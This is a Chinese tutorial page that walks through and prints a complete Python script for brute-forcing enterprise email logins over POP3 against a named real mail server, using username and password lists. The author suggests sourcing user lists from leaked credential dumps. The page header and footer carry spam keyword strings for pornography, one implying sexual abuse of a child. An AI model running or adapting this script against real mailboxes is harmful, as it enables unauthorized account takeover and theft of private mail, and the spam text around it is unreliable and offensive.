国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

腳本之家,腳本語言編程技術及教程分享平臺!
分類導航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服務器之家 - 腳本之家 - Python - python制作企業郵箱的爆破腳本

python制作企業郵箱的爆破腳本

2020-09-09 09:56Joy_nick Python

這篇文章主要介紹了python制作企業郵箱的爆破腳本的相關資料,需要的朋友可以參考下

按照師傅給的任務,寫了一個企業郵箱爆破腳本,后續還有FTP,SSH等一些爆破的腳本。

我先說下整體思路:

總體就是利用python的poplib模塊來從pop3服務器上交互,根據獲取的相關信息,產生結果。POP3協議并不復雜,它也是采用的一問一答式的方式,你向服務器發送一個命令,服務器必然會回復一個信息.

1.首先驗證參數是否正確

    Sys.argv[]是用來獲取命令行參數的,sys.argv[0]表示代碼本身文件路徑,所以參數從1開始

2.然后從用戶密碼文件中讀取信息
3.pop.getwelcome()用來獲取連接服務器的響應狀態
4.然后就是腳本的核心代碼部分

?
1
2
3
4
5
6
server = "pop.qiye.163.com" //設置pop3服務器地址
pop = poplib.POP3(server,110) //連接pop3服務器
pop.user(user) //驗證用戶名
auth = pop.pass_(passwd) //驗證密碼
if auth.split(' ')[0]== "+OK": //判斷響應的結果是否“OK”
 pring user,passwd

5.最后輸出出來相關的用戶信息

腳本代碼如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''
 
import threading, time, random, sys, poplib
from copy import copy
 
if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)
 
server = "pop.qiye.163.com"
success = []
 
try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打開失敗!\n"
 sys.exit(1)
 
try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打開失敗!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass
 
def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(' ')[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "獲取信息失敗!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
 
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

測試結果:

python制作企業郵箱的爆破腳本

說明:

用戶字典文件需要@domain.com,類似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com這樣的。由于我也沒有企業郵箱的賬號密碼,也就沒測試成功的,要是感興趣,可以搜一下相關社工褲。

附:

python 中 os._exit(), sys.exit(), exit() 的區別是什么?

  1. sys.exit(n) 退出程序引發一個SystemExit異常, 可以捕獲異常執行些清理工作. n默認值為0, 表示正常退出. 其他都是非正常退出. 沒有捕獲這個異常,會直接退出;捕獲這個異常可以做一些額外的清理工作。 一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解釋器,其后的代碼都不執行, 不拋異常, 不執行相關清理工作. 常用在子進程的退出.
  3. exit() 跟 C 語言等其他語言的 exit() 應該是一樣的

pop3收取郵件的過程一般是:

  • 連接pop3服務器 (poplib.POP3.__init__)
  • 發送用戶名和密碼進行驗證 (poplib.POP3.user poplib.POP3.pass_)
  • 獲取郵箱中信件信息 (poplib.POP3.stat)
  • 收取郵件 (poplib.POP3.retr)
  • 刪除郵件 (poplib.POP3.dele)
  • 退出 (poplib.POP3.quit)

命令 poplib方法 參數 狀態 描述
-----------------------------------------------------------------------------------------------
USER user username 認可 用戶名,此命令與下面的pass命令若成功,將導致狀態轉換
PASS pass_ password 認可 用戶密碼
APOP apop Name,Digest 認可 Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT stat None 處理 請求服務器發回關于郵箱的統計資料,如郵件總數和總字節數
UIDL uidl [Msg#] 處理 返回郵件的唯一標識符,POP3會話的每個標識符都將是唯一的
LIST list [Msg#] 處理 返回郵件數量和每個郵件的大小
RETR retr [Msg#] 處理 返回由參數標識的郵件的全部文本
DELE dele [Msg#] 處理 服務器將由參數標識的郵件標記為刪除,由quit命令執行
RSET rset None 處理 服務器將重置所有標記為刪除的郵件,用于撤消DELE命令
TOP top [Msg#] 處理 服務器將返回由參數標識的郵件前n行內容,n必須是正整數
NOOP noop None 處理 服務器返回一個肯定的響應

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 伊人色爱 | 午夜精品网站 | 日韩不卡 | 国产精品成人一区二区 | 日韩欧美一区二区在线观看视频 | 中文字幕不卡 | 亚洲国产精品久久久久久久久久久 | 一级片在线播放 | 亚洲成人看片 | 99久久久国产精品 | 99精品国产高清在线观看 | 99精品在线| 国产一区在线视频播放 | 综合自拍 | 色综合中文| 免费一级毛片在线播放放视频 | 亚洲精品乱码久久久久久按摩观 | 国产中文字幕一区 | 成人片免费视频 | 亚洲视频在线免费观看 | 国产在线观看高清 | 欧美日韩亚洲一区二区 | 中文字幕 视频一区 | 91精品久久久久久久久中文字幕 | 亚洲乱码国产乱码精品精98午夜 | av在线精品 | 中文字幕电影在线观看 | 日本三级视频在线观看 | t66y最新地址一地址二69 | 国产高清亚洲 | 中文区永久区 | 日韩一区精品 | 日韩成人精品在线 | 欧美日韩精品一区二区三区蜜桃 | 香蕉久久av一区二区三区 | 欧美 日韩 国产 一区 | 欧美日本一区二区三区 | 在线国产一区二区 | 中文字幕日韩一区 | 狠狠色狠狠色合久久伊人 | 欧美激情五月 |